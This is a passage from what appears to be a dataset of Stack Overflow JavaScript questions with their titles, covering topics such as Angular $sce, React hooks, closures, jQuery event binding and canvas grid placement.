marginLeft : '120px ' } , 1000 ) ; } , function ( ) { $ ( this ) .animate ( { marginLeft : '0px ' } , 1000 ) ; } ) ; } ) ; < /script > < style > # object1 { height : 400px ; width : 400px ; background : # 4f9a23 ; } # object2 { height : 400px ; width : 400px ; background : # 343434 ; -moz-transition : all 1s ease-in-out ; -webkit-transition : all 1s ease-in-out ; -o-transition : all 1s ease-in-out ; transition : all 1s ease-in-out ; } # object2 : hover { margin-left : 120px ; } < /style > < /head > < body > < div id= '' object1 '' > < /div > < div id= '' object2 '' > < /div > < /body > < /html >",How to measure performance of jQuery animations vs. CSS3 transforms ? "JS : A question regarding ng-bind-html whilst upgrading an Angular app from 1.0.8 to 1.2.8 : I have locale strings stored in files named en_GB.json , fr_FR.json , etc . So far , I have allowed the use of HTML within the locale strings to allow the team writing the localized content to apply basic styling or adding inline anchor tags . This would result in the following example JSON : When using these strings with ng-bind-html= '' myStr '' , I understand that I now need to use $ sce.trustAsHtml ( myStr ) . I could even write a filter as suggested in this StackOverflow answer which would result in using ng-bind-html= '' myStr | unsafe '' .Questions : By doing something like this , is my app now insecure ? And if so , how might an attacker exploit this ? I can understand potential exploits if the source of the displayed HTML string was a user ( ie . blog post-style comments that will be displayed to other users ) , but would my app really be at risk if I 'm only displaying HTML from a JSON file hosted on the same domain ? Is there any other way I should be looking to achieve the marking-up of externally loaded content strings in an angular app ? { `` changesLater '' : `` < strong > Do n't forget < /strong > that you can always make changes later . '' `` errorEmailExists '' : `` That email address already exists , please < a href=\ '' login\ '' > sign in < /a > to continue . '' }",Angular $ sce vs HTML in external locale files "JS : I know this is a silly way to determine even-odd numbers . It is just a lesson in recursion , and probably some other concepts as well . The problem.When I follow the logic , it looks like it does n't matter what value you give `` n '' , it will always eventually equal `` 0 '' and always end up `` false '' .What is going on ? function isOdd ( x ) { return ! isEven ( x ) ; } function isEven ( x ) { if ( x===0 ) { return true ; } else { return isOdd ( x-1 ) ; } }",Mutually recursive functions - exercise not making sense to me "JS : I am using JavaScript and trying to make a skew effect on a div.First , take a look at this video : http : //www.youtube.com/watch ? v=ny5Uy81smpE ( 0:40-0:60 should be enough ) . The video shows some nice transformations ( skew ) when you move the window . What I want to do is the same thing : to skew a div when I move it.Currently I just have a plain simple div : I have done a simple skew transformation using the CSS3 's transform property , but my implementation is buggy . Are there good tutorials or maths sites or resources that describe the logic behind this ? I know JavaScript and CSS well enough to implement , if I just knew the logic and maths . I tried reading FreeWins source code , but I am not good in C.I am accepting any resourceful answers or pseudo code . My dragging system is part of a bigger system , thus , now that I post some real code , it does not work without giving you the entire system ( that I can not do at this point ) . So , you ca n't run this code as is . The code I use is this ( slightly modified though ) to demonstrate my idea : Currently my dragging system is buggy and simple . I need more information on the logic that I should be applying . < div id= '' a '' style= '' background : # 0f0 ; position : absolute ; left : 0px ; top : 0px ; '' > < /div > /** * The draggable object . */Draggable = function ( targetElement , options ) { this.targetElement = targetElement ; // Initialize drag data . this.dragData = { startX : null , startY : null , lastX : null , lastY : null , offsetX : null , offsetY : null , lastTime : null , occuring : false } ; // Set the cursor style . targetElement.style.cursor = 'move ' ; // The element to move . this.applyTo = options.applyTo || targetElement ; // Event methods for `` mouse down '' , `` up '' and `` move '' . // Mouse up and move are binded to window . // We can attach and deattach `` move '' and `` up '' events as needed . var me = this ; targetElement.addEventListener ( 'mousedown ' , function ( event ) { me.onMouseDown.call ( me , event ) ; } , false ) ; this.mouseUp = function ( event ) { me.onMouseUp.call ( me , event ) ; } ; this.mouseMove = function ( event ) { me.onMouseMove.call ( me , event ) ; } ; } ; /** * The mouse down event . * @ param { Object } event */Draggable.prototype.onMouseDown = function ( event ) { // New drag event . if ( this.dragData.occuring === false ) { this.dragData.occuring = true ; this.dragData.startX = this.dragData.lastX = event.clientX ; this.dragData.startY = this.dragData.lastY = event.clientY ; this.dragData.offsetX = parseInt ( this.applyTo.style.left , 10 ) - event.clientX ; this.dragData.offsetY = parseInt ( this.applyTo.style.top , 10 ) - event.clientY ; this.dragData.lastTime = ( new Date ( ) ) .getTime ( ) ; // Mouse up and move events . var me = this ; window.addEventListener ( 'mousemove ' , this.mouseMove , false ) ; window.addEventListener ( 'mouseup ' , this.mouseUp , false ) ; } } ; /** * The mouse movement event . * @ param { Object } event */Draggable.prototype.onMouseMove = function ( event ) { if ( this.dragData.occuring === true ) { // He is dragging me now , we move if there is need for that . var moved = ( this.dragData.lastX ! == event.clientX || this.dragData.lastY ! == event.clientY ) ; if ( moved === true ) { var element = this.applyTo ; // The skew animation . : ) var skew = ( this.dragData.lastX - event.clientX ) * 1 ; var limit = 25 ; if ( Math.abs ( skew ) > limit ) { skew = limit * ( skew > 0 ? 1 : -1 ) ; } var transform = 'translateX ( ' + ( event.clientX + this.dragData.offsetX - parseInt ( element.style.left , 10 ) ) + 'px ) ' ; transform += 'translateY ( ' + ( event.clientY + this.dragData.offsetY - parseInt ( element.style.top , 10 ) ) + 'px ) ' ; transform += 'skew ( ' + skew + 'deg ) ' ; element.style.MozTransform = transform ; element.style.webkitTransform = transform ; this.dragData.lastX = event.clientX ; this.dragData.lastY = event.clientY ; this.dragData.lastTime = ( new Date ( ) ) .getTime ( ) ; } } } ; /** * The mouse up event . * @ param { Object } event */Draggable.prototype.onMouseUp = function ( event ) { this.dragData.occuring = false ; var element = this.applyTo ; // Reset transformations . element.style.MozTransform = `` ; element.style.webkitTransform = `` ; // Save the new position . element.style.left = ( this.dragData.lastX + this.dragData.offsetX ) + 'px ' ; element.style.top = ( this.dragData.lastY + this.dragData.offsetY ) + 'px ' ; // Remove useless events . window.removeEventListener ( 'mousemove ' , this.mouseMove , false ) ; window.removeEventListener ( 'mousemove ' , this.mouseUp , false ) ; } ;",Calculating window dragging and skewing in JavaScript "JS : How would you get every possible combination of 2 elements in an array ? For example : This answer uses brute force but is there a functional way with Ramda and or currying ? Derive every possible combination of elements in array [ 1 , 2 , 3 , 4 ] becomes [ [ 1 , 2 ] , [ 1 , 3 ] , [ 1 , 4 ] , [ 2 , 1 ] , [ 2 , 3 ] , [ 2 , 4 ] , [ 3 , 1 ] , [ 3 , 2 ] , [ 3 , 4 ] , [ 4 , 1 ] , [ 4 , 2 ] , [ 4 , 3 ] ]",Get every possible combination of elements "JS : I 'm trying to get banners to load according to the browser size . So in a location where i have a 728x90 banner , a 300x250 will show if its on mobile.Problem is , the 728x90 loads on desktop . but on mobile the 300x250 does n't show.I tried following the example hereand in my HTMLdo i have to put the < div > for each size in the same location ? How do i get the 300x250 banner to load ? the 728x90 works fine . I know i could hide / show according too browser size using CSS . but i do n't want to do that . Loading multiple sizes in the same location slows down my sites loading . < script type='text/javascript ' > googletag.cmd.push ( function ( ) { // This mapping will only display ads when user is on desktop sized viewport var mapLeader = googletag.sizeMapping ( ) . addSize ( [ 0 , 0 ] , [ ] ) . addSize ( [ 768 , 200 ] , [ 728 , 90 ] ) . build ( ) ; // This mapping will only display ads when user is on mobile or tablet sized viewport var mapLeader2 = googletag.sizeMapping ( ) . addSize ( [ 0 , 0 ] , [ ] ) . addSize ( [ 768 , 200 ] , [ ] ) . // Desktop addSize ( [ 300 , 200 ] , [ 300 , 250 ] ) . // Tablet build ( ) ; window.LeaderSlot= googletag.defineSlot ( '/XXXXXXX/leaderboard-1 ' , [ 728 , 90 ] , 'div-gpt-ad-1455251022145-0 ' ) . defineSizeMapping ( mapLeader ) . setCollapseEmptyDiv ( true ) . addService ( googletag.pubads ( ) ) ; window.LeaderSlot= googletag.defineSlot ( '/XXXXXXX/medium-rectangle-1 ' , [ 300 , 250 ] , 'div-gpt-ad-1458546777123-0 ' ) . defineSizeMapping ( mapLeader2 ) . setCollapseEmptyDiv ( true ) . addService ( googletag.pubads ( ) ) ; googletag.pubads ( ) .enableSingleRequest ( ) ; googletag.pubads ( ) .enableSyncRendering ( ) ; // Start ad fetching googletag.enableServices ( ) ; } ) ; < /script > < ! -- /XXXXXX/leaderboard-1 -- > < div id='div-gpt-ad-1455251022145-0 ' style='height:90px ; width:728px ; ' class= '' center '' > < script type='text/javascript ' > googletag.cmd.push ( function ( ) { googletag.display ( 'div-gpt-ad-1455251022145-0 ' ) ; } ) ; < /script > < /div > < ! -- /XXXXXX/medium-rectangle-1 -- > < div id='div-gpt-ad-1458546777123-0 ' style='height:250px ; width:300px ; ' > < script type='text/javascript ' > googletag.cmd.push ( function ( ) { googletag.display ( 'div-gpt-ad-1458546777123-0 ' ) ; } ) ; < /script > < /div >",DoubleClick for publishers : Specify browser and ad dimensions "JS : I try implement angular ng-repeat directive and I do n't understand why this code not work right.and HTML fragmentMy problem is that LI elements rendered normal , but they are not contain city name . Please explain me why so occurs . I understand how work ng-transclude in primitive case , when we have template with element with ng-transclude and in our directive definition specify transclude : true , but I do n't understand how that work with transclude : `` element '' .P.S . Sorry for my english . I beginner : ) .directive ( `` myRepeat '' , function ( ) { return { transclude : `` element '' , priority : 1000 , compile : function ( tElem , tAttrs ) { var myLoop = tAttrs.myRepeat , match = myLoop.match ( /^\s* ( .+ ) +in\s+ ( .* ? ) \s* ( \s+track\s+by\s+ ( .+ ) \s* ) ? $ / ) , indexString = match [ 1 ] , collectionString = match [ 2 ] , parent = tElem.parent ( ) ; return function ( $ scope , iElem , iAttrs , controller , $ transclude ) { $ scope. $ watchCollection ( collectionString , function ( newCollection ) { var i , block , elements = [ ] ; // check if elements have already been rendered if ( elements.length ) { // if so remove them from DOM , and destroy their scope for ( i = 0 ; i < elements.length ; i++ ) { elements [ i ] .el.remove ( ) ; elements [ i ] .scope. $ destroy ( ) ; } elements = [ ] ; } for ( i = 0 ; i < newCollection.length ; i++ ) { $ transclude ( function ( clone , scope ) { scope [ indexString ] = newCollection [ i ] ; parent.append ( clone ) ; block = { } ; block.el = clone ; block.scope = scope ; elements.push ( block ) ; } ) ; } } ) ; } } } } ) < ul ng-controller= '' MyCtrl '' > < li my-repeat= '' city in cities '' > { { city.name } } < /li > < /ul >",Angular ng-repeat implement "JS : so I have anchor tags in the form of < a href= ' [ link ' ] rel='Tab ' > and I apply the following at page load : ( 'document ready ' I mean ) now the problem is that when I do this and later through javascript new links are generated , in my case with loading a second page with JqGrid there are new < a rel='neoTab ' > 's that did not exist when I first run jQuery ( `` a [ rel*=Tab ] '' ) .click ( function ( e ) so they wo n't work ... so I can run jQuery ( `` a [ rel*=Tab ] '' ) .click ( function ( e ) at every event that creates new links but then the old links would load multiple tabs so is there a way I could select all the `` a [ rel*=Tab ] '' s that were not not selected before ? note : I can and have already solved this through an algorithmic approach as you can see through the details below , I just think there is some syntaxes I am not aware of to prevent the need to use this hack ! Unnecessary Details : UPDATE : as Wrikken suggested jQuery ( ) .live I checked it out and it is exactly what I need but I ca n't get it to actually work , it wo n't work in some cases . For everyone else who wrote different solutions , are you fimiliar with .live ( ) if so why is it that I ca n't use it here ? CONCLUSIONspecial thanks to fudgey , patrick dw , and wrikken . All answers were helpful . .delegate ( ) . worked for me but for some reason .live ( ) did n't . something about the way jqGrid add 's elements to the table . I 'm gon na keep the question open for a while . Thanks alot again for all your help . +1 to all jQuery ( `` a [ rel*=Tab ] '' ) .click ( function ( e ) { e.preventDefault ( ) ; //then I do some stuff to open it in jq ui tab } var neoTabitStat = 0 ; var openTabs = new Array ( ) ; openTabs [ 0 ] = 'inbox ' ; if ( ! ( currentBox=='inbox'||currentBox=='outbox ' ) ) { var currentBox = 'inbox ' ; } function initNeoTab ( a ) { if ( neoTabitStat==0 ) { jQuery ( `` a [ rel*= '' +a+ '' ] '' ) .click ( function ( e ) { e.preventDefault ( ) ; tabIt ( jQuery ( this ) .attr ( 'href ' ) + ' & nohead=1 ' , jQuery ( this ) .attr ( 'title ' ) , jQuery ( this ) .attr ( 'data-hovercard ' ) ) ; } ) ; neoTabitStat++ ; } } function tabIt ( a , b , c ) { c = typeof ( c ) ! = 'undefined ' ? c : 0 ; lastOpen = openTabs.length ; if ( lastOpen < 6 ) { if ( openTabs.indexOf ( c ) < 0 ) { openTabs [ lastOpen ] = c ; jQuery ( `` # tabs '' ) .tabs ( `` add '' , a , b , lastOpen+1 ) ; } $ tabs.tabs ( 'select ' , openTabs.indexOf ( c ) ) ; } else { var tabErrDig = jQuery ( ' < div style= '' display : hidden '' > You have opened the maximum amount of tabs please close one to open another tab. < /div > ' ) .appendTo ( 'body ' ) ; tabErrDig.dialog ( { width:500 , title : 'Maximum Tabs Opened ' , modal : true , buttons : { Ok : function ( ) { jQuery ( this ) .dialog ( `` close '' ) ; } } } ) ; } } jQuery ( document ) .ready ( function ( ) { initNeotab ( 'nameOfrelAttr4existingLinks ' ) ; } myGrid = jQuery ( `` # list '' ) .jqGrid ( { /*alot of stuff ... */ } , gridComplete : function ( ) { initNeotab ( 'nameOfrelAttr4generatedLinks ' ) ; }",How to bind function to DOM events once and only once so that they will not execute for a second time in the triggering of event ? "JS : I 'd like to understand under which circumstances variables which are no further used are stored in closures and lead to memory leaks . My most preferred outcome would be `` there are none '' , but this does n't seem to be the case.From what I understand , once a function is declared inside another function , its internal [ [ scope ] ] is assigned the LexicalEnvironment of its encapsulating function . This LexicalEnvironment has reference local variables and the entire scope chain at that point . This basically includes all free variables the function could access ( from what I understood of lostechies , javascript closures explained ) .Here the first issue arises : this should mean all those variables can be reached as long as the function lives . E.g . the following should already leak : This luckily does n't seem to be the case on my firefox . I 've received several explanations to why this does n't leak , from `` the jitter is smart '' to `` LexicalEnvironment is a record type which means GC can collect the unused variables '' . I still do n't know whether either is correct , whether this does n't leak on all modern runtimes and why.After further research , I found auth0 , four types of leaks in javascript ( sadly , there appears to be no html id to jump to , the relevant part is `` 4 : Closures '' ) which shows a way to trick whatever smart thing is collecting the unused variables . In above snippet , when just uncommenting the `` unused '' function , I do not see RAM usage ever going down again ( it was already noted that it could be GC simply did not run for other reasons . However , so far , I am assuming it leaks . I also got told this was limited to firefox , but it appeared to produce similar behavior in chrome ) This example ( in case it really does what i believe it does ) , shows that completely unused variables can leak due to a function declaration in the same scope.To conclude my problems : What is the reason for , in the above snippet , `` big '' getting collected ( when `` unused '' is commented ) and does this happen on all modern runtimes ? Assuming the example with the `` unused '' function not commented leaks , what are best practices to avoid such accidental leaks ? Are there any more ? I already got the suggestion of null'ing all local variables which are not further used at the end of functions , however , this seems absurdly ugly . I fear using temporary variables for pre-calculations and accidentally leaking.PS : It is quite hard to make certain that this question has not already been asked in the jungle of questions about memory leaks with closures . function a ( ) { let big = new Array ( 1000000 ) .join ( '* ' ) ; //never accessed //function unused ( ) { big ; } return ( ) = > void 0 ; } let fstore = [ ] ; function doesThisLeak ( ) { for ( let i = 0 ; i < 100 ; i++ ) fstore.push ( a ( ) ) ; } doesThisLeak ( ) ;",Closure memory leak of unused variables "JS : I have a switch based on an elements `` type '' that triggers different default settings.Multiple `` types '' often share default settings like backgroundColor so we bunch them together in a multiple case setup . As we modify it 's nice to be able to adjust each `` type '' as we go and often end up with a lot of duplication as then it 's each type in it 's own little box . What I 'd like to do is use a case where it is shared , and then again later declare it for its special properties . Something like : I 'm not sure if this will work or not ... function setDefaults ( base ) { switch ( base.type ) { case 'rectangle ' : case 'circle ' : case 'areaMap ' : case 'clock ' : case 'news ' : case 'weather ' : case 'webview ' : case 'camera ' : base.properties.background = this._getRandColor ( ) ; case 'areaMap ' : base.properties.height = '600px ' ; base.properties.width = '800px ' ; break ; } return base ; }",Javascript Switch : can you use the same case multiple times ? "JS : If you have an array of strings in JavaScript / JQuery : ... what is the most elegant way you have found to convert that list to a readable english phrase of the form : `` item1 , item2 , item3 and item4 '' The function must also work with : var myStrings = [ `` item1 '' , `` item2 '' , `` item3 '' , `` item4 '' ] ; var myStrings = [ `` item1 '' ] ; // produces `` item1 '' var myStrings = [ `` item1 '' , `` item2 '' ] ; // produces `` item1 and item2 ''",Convert a Javascript array into a readable string "JS : I have the following state : I 'm updating it ( toggling selected state ) with this code : It works as intended . But I 've thought of one thing.When I 'm copying the array from prevState , I 'm creating a new array , but the objects ( stored as references ) will remain the same . I 've tested and they do not change when you copy the array like that.QUESTIONIs this a bad practice ? Should I bother to deep copy the array , as in create a new array and create brand new objects ? Or this is just fine ? const [ images , setImages ] = useState ( [ { src : 'stringSRC1 ' , selected : false } , { src : 'stringSRC2 ' , selected : false } , { src : 'stringSRC3 ' , selected : false } ] ) ; function handleImageClick ( index ) { props.setImages ( ( prevState ) = > { const aux = Array.from ( prevState ) ; aux [ index ] .selected = ! aux [ index ] .selected ; return aux ; } ) ; }",React - Updating state ( array of objects ) . Do I need to deep copy the array ? "JS : I am trying to get this Node.js TypeScript definition to work , but WebStorm gives me a big list of errors with all the same message : Reserved word 'this ' used as name . This inspection reports on any uses of JavaScript reserved words being used as a name . The JavaScript specification reserves a number of words which are currently not used as JavaScript keywords . Using those words as identifiers may result in broken code if later versions of JavaScript use them as keywords.An example piece of code where this error happens due to the return type : Why ca n't the this keyword be a type ? Am I perhaps using an old TypeScript compiler or is it a mistake in the typing ? Edit : To get rid of the errors I 've just replaced all these this types with the type of the containing class or interface . For example , the errors in the given example are fixed by changing it to this : Although , this is not a solution to the actual problem . export interface EventEmitter { addListener ( event : string , listener : Function ) : EventEmitter ; ... }",TypeScript error : Reserved word 'this ' used as name "JS : I am using Chrome 30.0.1599.101 and have issue with name element : it has no properties.Why has name element has no properties ? It 's not only the console issue - the properties are not accessible in the code . However , everything works fine in Firefox browser . Even in the fiddle ( by Gurpreet Singh ) with the very same code in the same browser everything works . I tried < ! DOCTYPE html5 > as Uooo suggests , tried to reset the browser , but still no luck on localhost.Here is a screenshot : If I change the name name to something else , the properties are visible . < html > < body > < form > < input name= '' name '' id= '' name '' type= '' text '' > * < br > < input name= '' pass '' id= '' pass '' type= '' text '' > * < br > < /form > < script > var name = document.getElementById ( `` name '' ) ; var pass = document.getElementById ( `` pass '' ) ; console.log ( name ) ; // no propertiesconsole.log ( pass ) ; // everything ok < /script > < /body > < /html >",Missing DOM element "JS : I 'm creating a simple grid based browser game where I would like to place players and target cells ( think king-of-the-hill ) equidistantly . Ideally this would be done in such a way that each player would also be equally distant from the nearest target cell.Here are the requirements : The game needs to support 2 to 20 players.The n by m grid can be any size , but the more 'square-like ' the better . ( The principle behind 'square-like ' is to reduce the maximum required distance to travel across the grid - keep things more accessible ) The number of target cells is flexible . Each player should have equal access to the same number of targets.The minimum distance between any player or target and any other player or target is 4.Note that each cell has 8 immediate neighbors ( yes diagonals count as a distance of 1 ) , and edges wrap . Meaning those at the bottom are logically adjacent to those at the top , and same for left/right.I 've been trying to think of a good algorithm to place players and targets in varying distributions without having to create a specific pre-determined grid for each number of players . I discovered k-means clustering and Lloyd 's Algorithm , but I 'm not very familiar with them , and do n't really know how to apply them to this specific case , particularly since the number of target cells is flexible , which I would think should simplify the solution a bit.Here 's a snippet of vastly simplified code creating a pre-determined 6 player grid , just to show the essence of what I 'm aiming for : It creates a grid that looks like this : Where blue cells are players and red cells are targets.Does anyone have any suggestions for how to go about this ? Links to helpful material would be greatly appreciated.Are there any gurus out there who can drum up an awesome placement algorithm which satisfies all of the above conditions ? It would be AMAZING if the solution also allows the number of target cells and/or minimum distance to be configurable for any number of players and still satisfies all of the conditions , although that 's not strictly necessary.EDITAfter some other game design considerations , I changed the minimum distance between player & target to 4 instead of 2 . The text , code , and image above have been changed accordingly . At the time of this edit , no solutions were constrained by that requirement , so it should n't affect anything.EDIT 2If you are proposing a solution , please provide JavaScript code ( or at least pseudo-code ) outlining the detailed steps of your solution . Also please explain how the solution meets the requirements . Thank you ! var cellSize = 20 ; var canvas = document.createElement ( 'canvas ' ) ; var ctx = canvas.getContext ( '2d ' ) ; document.body.appendChild ( canvas ) ; function Cell ( x , y ) { this.x = x * cellSize + cellSize / 2 ; this.y = y * cellSize + cellSize / 2 ; this.id = x + '- ' + y ; this.neighbors = [ ] ; this.type = null ; } Cell.prototype.draw = function ( ) { var color = ' # ffffff ' ; if ( this.type === 'base ' ) { color = ' # 0000ff ' ; } else if ( this.type === 'target ' ) { color = ' # ff0000 ' ; } var d = cellSize / 2 ; ctx.fillStyle = color ; ctx.fillRect ( this.x - d , this.y - d , this.x + d , this.y + d ) ; ctx.rect ( this.x - d , this.y - d , this.x + d , this.y + d ) ; ctx.strokeStyle = ' # 000 ' ; ctx.lineWidth = 3 ; ctx.stroke ( ) ; } ; // Pre-set player and target cells for 6 players as an examplevar playerCells = [ ' 0-0 ' , ' 8-0 ' , '16-0 ' , ' 0-8 ' , ' 8-8 ' , '16-8 ' ] ; var targetCells = [ ' 4-4 ' , '12-4 ' , '20-4 ' , ' 4-12 ' , '12-12 ' , '20-12 ' ] ; var n = 24 ; var m = 16 ; canvas.width = n * cellSize + 6 ; canvas.height = m * cellSize + 6 ; var cellList = [ ] ; for ( var i = 0 ; i < n ; i++ ) { for ( var j = 0 ; j < m ; j++ ) { var cell = new Cell ( i , j ) ; if ( playerCells.indexOf ( cell.id ) > -1 ) { cell.type = 'base ' ; } else if ( targetCells.indexOf ( cell.id ) > -1 ) { cell.type = 'target ' ; } cellList.push ( cell ) ; } } // Give each cell a list of it 's neighbors so we know where things can movefor ( var i = 0 ; i < cellList.length ; i++ ) { var cell = cellList [ i ] ; var neighbors = [ ] ; // Get the cell indices around the current cell var cx = [ cell.x - 1 , cell.x , cell.x + 1 ] ; var cy = [ cell.y - 1 , cell.y , cell.y + 1 ] ; var ci , cj ; for ( ci = 0 ; ci < 3 ; ci++ ) { if ( cx [ ci ] < 0 ) { cx [ ci ] = n - 1 ; } if ( cx [ ci ] > = n ) { cx [ ci ] = 0 ; } if ( cy [ ci ] < 0 ) { cy [ ci ] = m - 1 ; } if ( cy [ ci ] > = m ) { cy [ ci ] = 0 ; } } for ( ci = 0 ; ci < 3 ; ci++ ) { for ( cj = 0 ; cj < 3 ; cj++ ) { // Skip the current node since we do n't need to link it to itself if ( cellList [ n * ci + cj ] === cell ) { continue ; } neighbors.push ( cellList [ n * ci + cj ] ) ; } } } drawGrid ( ) ; function drawGrid ( ) { ctx.clearRect ( 0 , 0 , canvas.width , canvas.height ) ; for ( var i = 0 ; i < cellList.length ; i++ ) { cellList [ i ] .draw ( ) ; } }",Algorithm to place x items equidistantly on an n by m wrapping grid "JS : Using django-leaflet I 've created a form as followsIts instantiated from a view in the normal way . And in the templates ; -Now . At the start on body load , it hides the div containing the map , and elsewhere there is some code that essentially watches the annotationType dropdown , and if `` location '' is selected it unhides the div . The problem is , it appears leafletjs does not like being instantiated hidden , and seems to get a bit confused about its bounds . Im assuming the answer thus is to call _onresize ( ) on the map , however I ca n't seem to find how to get a reference to the map instance ... just produces a complaint that the map is already initialized . Inspecting the code generated by the form seems to have the map being created inside a ( function ( ) { etc etc } ) ( ) type closure which makes just hijacking the variable from there infeasible . So my question is , how DOES one get a reference to a leaflet.js map in this sort of situation ? There is How can I get a leaflet.js instance using only a DOM object ? but it does n't seem to actually answer the question , just propose an alternative that is n't available in my case . class AnnotationForm ( forms.ModelForm ) : < crispy forms stuff redacted from here for brevity > class Meta : model = Annotation # Your user model fields= [ 'name ' , 'annotationType ' , 'description ' , 'location_point ' , 'document ' , ' e ' ] widgets = { 'location_point ' : LeafletWidget ( ) , ' e ' : forms.HiddenInput ( ) } { % crispy annotation_form % } L.map ( 'id_annotation_location_point_map ' ) ._onResize ( )",Getting a reference to a leafletjs instance from a django-leaflet form "JS : When I serialize an ASP.NET MVC form , I get this : But I want this , so that it 's consistent with JS coding conventions : How do I take an object and lower-case the first character of each property ? { DestinationId : `` e96dd00a-b042-41f7-bd59-f369904737b6 '' , ... } { destinationId : `` e96dd00a-b042-41f7-bd59-f369904737b6 '' , ... }",How do I clone a JavaScript object from PascalCase properties to camelCase properties ( in JavaScript ) ? "JS : Safari on iOS puts a scrubber on its lock screen for simple HTMLAudioElements . For example : JSFiddle : https : //jsfiddle.net/0seckLfd/The lock screen will allow me to choose a position in the currently playing audio file.How can I disable the ability for the user to scrub the file on the lock screen ? The metadata showing is fine , and being able to pause/play is also acceptable , but I 'm also fine with disabling it all if I need to . const a = new Audio ( ) ; a.src = 'https : //example.com/audio.m4a ' a.play ( ) ;",Disable iOS Safari lock screen scrubber for media JS : Is there a difference between these queries ? I 'm curious to know how mongo interprets javascript code passed to the map method vs. mapping once the query resolves.vs . db.collection ( 'myCollection ' ) .find ( ) .map ( document = > document.value + 3 ) .toArray ( ) ; db.collection ( 'myCollection ' ) .find ( ) .toArray ( ) .then ( array = > array.map ( document = > document.value + 3 ) ) ;,cursor.map ( ) .toArray ( ) vs. cursor.toArray ( ) .then ( array = > array.map ( ) ) "JS : I want to invoke a function after an event gets fired then in the same call back call the function again . This is to create a sort of event listener when the function completes.You 'll know what i 'm trying to do when you see the code : Question : Could this potentially cause a stack overflow ? Is there a way to refactor this code to not be recursive ? Thanks ! `` use strict '' ; var page = require ( 'webpage ' ) .create ( ) ; var system = require ( 'system ' ) ; function onStdReadLine ( callback ) { system.stdin.readLineAsync ( function ( err , line ) { callback ( line ) ; onStdReadLine ( callback ) ; } ) ; } onStdReadLine ( function ( line ) { // do something when the line comes in system.stdout.writeLine ( line ) ; } ) ;",Will recursively calling a function from a callback cause a stack overflow ? "JS : Consider the following HTML where IDs # p1 , # p2 and # p3 are siblings ( see fiddle ) : These are my definitions of strict and loose siblings : I consider ID # p1 and # p2 strict siblings ( because there is no text which is not encapsulated in any kind of html element between them.And ID # p2 and # p3 to be loose siblings.Given any element with a next sibling is it possible to know if the next sibling is strict or loose ? Edit : The siblings may be of different type and I updated the fiddle to reflect that . < div id= '' container '' > < span id= '' p1 '' > Paragraph 1 < /span > < span id= '' p2 '' > Paragraph 2 < /span > This is just loose text . < p id= '' p3 '' > Paragraph 3 < /p > < /div >",How to detect strictly adjacent siblings "JS : I have the following action that displays a notification and then removes it , and I´m trying to write a unit test for it but I ca n't seem to figure out how to mock setTimeout.Following the tutorial in the redux website on async testing I came up with the following test : right now it just throws an error Can not read property 'then ' of undefined at store.dispatch , any help would be greatly appreciated . export const addNotification = ( text , notificationType = 'success ' , time = 4000 ) = > { return ( dispatch , getState ) = > { let newId = new Date ( ) .getTime ( ) ; dispatch ( { type : 'ADD_NOTIFICATION ' , notificationType , text , id : newId } ) ; setTimeout ( ( ) = > { dispatch ( removeNotification ( newId ) ) } , time ) } } ; export const removeNotification = ( id ) = > ( { type : 'REMOVE_NOTIFICATION ' , id } ) ; import * as actions from '../../client/actions/notifyActionCreator ' import configureMockStore from 'redux-mock-store ' import thunk from 'redux-thunk ' const middlewares = [ thunk ] ; const mockStore = configureMockStore ( middlewares ) ; describe ( 'actions ' , ( ) = > { it ( 'should create an action to add a notification and then remove it ' , ( ) = > { const store = mockStore ( { notifications : [ ] } ) ; const text = 'test action ' ; const notificationType = 'success ' ; const time = 4000 ; const newId = new Date ( ) .getTime ( ) ; const expectedActions = [ { type : 'ADD_NOTIFICATION ' , notificationType , text , id : newId } , { type : 'REMOVE_NOTIFICATION ' , id : newId } ] ; return store.dispatch ( actions.addNotification ( text , notificationType , time ) ) .then ( ( ) = > { expect ( store.getActions ( ) ) .toEqual ( expectedActions ) } ) ; } ) ; } ) ;",How do I test an async action creator that calls another action with setTimeout "JS : I am trying to do block items on a webpage but I want to do that , before they are loaded . So , e.g. , I could use chrome.webRequest.onBeforeRequest.addListener ( ... ) ; And redirect/cancel the request . But i want to inspect the actual content of the request . What I am doing right now , is starting a XMLHttpRequest to load the url/object myself , inspect the content , and block it if necessary . However , the main problem is that in fact , not many objects are blocked . This means , that each object is loaded twice : Once for `` my inspection '' and once , after I said `` okay , you may load it '' .How can I intercept the loading process , so that I can inspect it on the fly and pass on the data bytes if they are allowed ? Hope you understand my question , thanks : - ) Example of how I do it right now : function shall_be_blocked ( info ) { var xhr = new XMLHttpRequest ( ) ; xhr.open ( `` GET '' , file , false ) ; // ... # load the file and inspect the bytes if ( xhr.responseText== '' block it '' ) { return true ; } return false ; } chrome.webRequest.onBeforeRequest.addListener ( function ( info ) { ret = shall_be_blocked ( info ) ; if ( ret ... ) { return { cancel : true } ; } //loads the file once , as it is getting blocked return { } ; //loads the file twice } , { } , [ `` blocking '' ] ) ;",Chrome extension : Block page items before access "JS : According to the official React documentation , componentDidMount is translated in hooks as : So assuming I want to do an api call within this hook : After adding the eslint rule `` react-hooks/exhaustive-deps '' , this is a lint error . In order to silence it I can just drop the getActiveUser function inside the array and everything works just fine.But does that go against the documentation ? I was under the impression that the array checks for prop changes . I would like also to point out that the API call is being made without a prop/id , so I could understand the fact of having to do something like that : So what 's going on here ? Adding the Eslint rule mean that the array inside the effect ca n't be empty again ? useEffect ( ( ) = > { //code here } , [ ] ) useEffect ( ( ) = > { getActiveUser ( ) ; } , [ ] ) useEffect ( ( ) = > { getActiveUser ( someId ) ; } , [ getActiveUser , someId ] )",How to implement componentDidMount with hooks in React to be in line with the EsLint rule `` react-hooks/exhaustive-deps '' : `` warn '' ? "JS : My application ( wrapped in PhoneGap ) runs both online and offline mode . I store images and videos encoded in base64 in localstorage.When I debug this on browser it runs just fine , but on iPad it shouts out `` The operation could not be completed '' in a javascript promt . I 've tried placing the video with pure html tag and tru Ext.Video.I 'm missing anything here ? ThanksUpdate : Tested in iPad and Android 3.0 native browsers and the result is the same `` The operation ... '' .Tested with and without autoplay and controllers ( in the video/source tags ) . newhtml += `` < video width='320 ' height='240 ' controls='controls ' > < source src='data : video/mp4 ; base64 , '' +tmpStore.getAt ( i ) .data.myPages [ j ] .myProducts [ k ] .myItens [ 0 ] .fileData+ '' ' / > < /video > '' ;",Sencha Touch 2 + PhoneGap + iPad : Video with base64 encoded data : `` The Operation could not be completed '' "JS : In Meteor Whatsapp example project is file where `` = > '' is used , but my WebStorm IDE detect it as error . I ca n't find any docs about this syntax.GitHub repository for bootstrap.js file is hereWhat is `` = > 